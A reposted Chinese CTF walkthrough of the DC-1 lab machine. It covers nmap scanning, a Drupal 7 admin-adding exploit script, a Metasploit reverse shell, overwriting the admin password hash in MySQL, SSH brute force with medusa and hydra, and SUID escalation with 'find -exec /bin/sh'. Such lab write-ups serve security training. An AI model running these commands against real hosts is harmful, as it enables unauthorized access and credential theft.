DC-1知识点通关

知识点总结

1.nmap扫描(端口、内核版本)

2.burp爆破密码

3.目录扫描

4.遍历目录

5.查看CMS,并利用历史漏洞

6.msf利用历史漏洞,反弹shell

7.内核提权

8.查看配置文件

9.更改数据库密码

10.medusa/hydra 爆破

11.suid提权

kali相关ssh密码爆破字典:/usr/share/john/password.lst


1.nmap扫描

nmap -A -p- 192.168.0.130

80、22、111、49414端口,大概内核版本

2.访问端口

访问80端口,要求登录

注意:千万别爆破,访问过多会被封IP,下述就是血的教训

猜测admin用户名,并尝试爆破,但是经过爆破发现有错误次数限制

IP被封!换方法,发现注册新用户,邮箱并没有收到密码的设置信息

3.目录扫描

都访问了个遍,结果发现Access denied,无权限!

4.发现使用了Drupal 7(CMS)

 1.exploitdb使用

查找现成的payload

找到了一个添加管理员的一个payload.

把它拷问到我们当前目录

查看如何使用,创建用户abc/123456,因为之前IP被封了,我重新搭建了靶机IP也就改了

python2 34992.py -t http://192.168.0.131 -u abc -p 12345

试图执行PHP代码,失败

不行,看看ssh端口,也登录失败了

看看别的payload

但是在执行的时候,发现无法执行

2.msf调用payload反弹shell

利用msf试试,关于payload的选择我们就选,时间新一点的,并且rank为excellent的

等待连接,然后shell即可,python交互性shell:

python -c 'import pty;pty.spawn("/bin/bash")'

6.尝试内核提权(失败)

确认wget指令可用,试试内核提权

直接百度一下

直接下载到/var/www/html即可

然后开启apache服务

gcc 40839.c 
chmod 777 40839.c
./40839.c

失败了

发现网站根目录下的flag1.txt,提示查看CMS的配置文件

7.查看配置文件

发现了

8.查看到数据库登录

mysql -udbuser -p

这个哈希解密,解不了,我们只好修改密码了

发现了加密算法文件,password-hash.sh

9.更新密码

update users set pass = '$S$DRX6M.nvrKxrvQvj4kef1/pbQR0FzL1paS4sStmNxlFhADzUxvRe' where name = 'admin';

10.登录后台

发现flag3

 提示要我们使用find指令,perms

然后常规到家目录下看看 /home

找到flag4

使用同样方法找到root下的flag

同时我们还可以使用爆破来获取flag4

首先查看/etc/passwd

11.medusa/hydra 爆破ssh

使用medusa爆破一下ssh密码

medusa -M ssh -h 192.168.0.131 -u flag4 -P /usr/share/john/password.lst -e ns -F或者echo 'flag4'>admin.txt
hydra -L admin.txt -P /usr/share/john/password.lst 192.168.0.131 ssh

爆破成功!密码:orange

12.suid提权

根据flag3提示的,我们使用suid提权

suid是一中执行权限,我们对有可执行的二进制文件或者命令就可以赋予suid权限,当我们执行该二进制命令或文件,会以赋予该文件或命令suid权限的属主执行,而并非当前执行的用户。注:linux的所有物都是以文件的形式存在,相关的命令其实也是指向某个文件。

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

现在已知的具有SUID权限的二进制可执行文件大体有如下这些

nmap
vim
find
bash
more
less
nano
cp
awk

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

可以根据find的相关suid提权,进行提权

参考推文:简谈SUID提权 - FreeBuf网络安全行业门户

find提权其一

find -exec /bin/sh \;

成功提权!

最后拿到finalflag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/600590.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

组合数(费马小定理, 快速幂)

给定 n 组询问,每组询问给定两个整数 a,b,请你输出 Cbamod(1097)的值。 输入格式 第一行包含整数 n。 接下来 n 行,每行包含一组 a 和 b。 输出格式 共 n 行,每行输出一个询问的解。 数据范围 1≤n≤10000, 1≤…

【鸿蒙开发】第十九章 Image图片处理

1 简介 应用开发中的图片开发是对图片像素数据进行解析、处理、构造的过程,达到目标图片效果,主要涉及图片解码、图片处理、图片编码等。 图片解码 指将所支持格式的存档图片解码成统一的PixelMap,以便在应用或系统中进行图片显示或图片处理…

基于Springboot高校学生饮食推荐系统的设计与实现(论文+源码)_kaic

摘 要 随着网络科技的不断发展以及人们经济水平的逐步提高,计算机如今已成为人们生活中不可缺少的一部分,为饮食分享轻松便捷的管理信息,基于java技术的饮食分享的设计与实现了一款简洁、轻便的管理系统。本系统解决了饮食分享管理事务中的主…

Ethernet 汇总

Ethernet系统 硬件最小系统 CPU:可以是复杂的芯片,也可以是小的单片机DMA:用于减轻CPU负担,搬运数据系统Memory<->FIFOMAC:可以集成在芯片里面,用于CPU和PHY之间的通信MII:接口用于MAC和PHY的通信,包括控制MDIO和数据DataPHY:模拟器件,最底层,数据收发源头软件…

记一次Cannot deploy POJO class [xxx$$EnhancerBySpringCGLIB$$xxx]的错误

最近项目上需要使用websocket做服务端&#xff0c;那好说啊&#xff0c;直接springboot集成的websocket 引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId><versi…

【超简单】基于PaddleSpeech搭建个人语音听写服务

一、【超简单】之基于PaddleSpeech搭建个人语音听写服务 1.需求分析 亲们,你们要写会议纪要嘛?亲们,你们要写会议纪要嘛?亲们,你们要写会议纪要嘛?当您面对成吨的会议录音,着急写会议纪要而不得不愚公移山、人海战术?听的头晕眼花,听的漏洞百出,听的怀疑人生,那么你…

与汇智知了堂共舞,HW行动开启你的网络安全新篇章!

**网安圈内一年一度的HW行动来啦&#xff01; ** 招募对象 不限&#xff0c;有HW项目经验 或持有NISP二级、CISP证书优先 HW时间 以官方正式通知为准 工作地点&#xff1a;全国 薪资待遇 带薪HW &#xff08;根据考核成绩500-4000元/天不等&#xff09; 招募流程 1.填写报名…

静态代理

静态代理 静态代理 理解示例 角色分析: 抽象角色:一般会使用接口或者抽象类类解决 真实角色:被代理的角色 代理角色:代理真实角色,代理真实角色后,我们一般会做一些附属操作 客户:访问代理对象的人 分析: 抽象角色 真实角色 代理角色(代理真实的对象) 客户 …

GPT-4对多模态大模型在多模态预训练、 理解生成上的启发

传统人工智能 模型往往依赖大量有标签数据的监督训练,而且一个模型一般只能解决一个任务,仅适用于单一场景, 这使得人工智能的研发和应用成本高,场景适应能力弱,难以规模化应用。 常见的多模态任务大致可以分为两类: 多模态理解任务,如视频 分类、视觉问答、跨模态检索、指代…

Echarts-实现地图并轮播地图信息

目录 ./map-geojson/jinhua.json./CenterMap.vue./center.vue 使用地图组件效果 ./map-geojson/jinhua.json {"type":"FeatureCollection","features":[{"type":"Feature","properties":{"adcode":330…

DHT11温度检测系统

DHT11温湿度传感器 产品概述 DHT11数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合传感器&#xff0c;应用领域&#xff1a;暖通空调&#xff1b;汽车&#xff1b;消费品&#xff1b;气象站&#xff1b;湿度调节器&#xff1b;除湿器&#xff1b;家电&#xff1b;医…

Android 11 上的文件读写无权限问题

Android 6以上需要动态申请读写权限&#xff0c;但是11以上动态申请了读写权限也是无效。并且手动给予权限没有该按钮。 如上图华为钱包有个所有文件权限、但是百度地图只有仅媒体权限&#xff0c;仅媒体权限&#xff08;动态申请读写权限&#xff09;给予后软件还是没法访问文…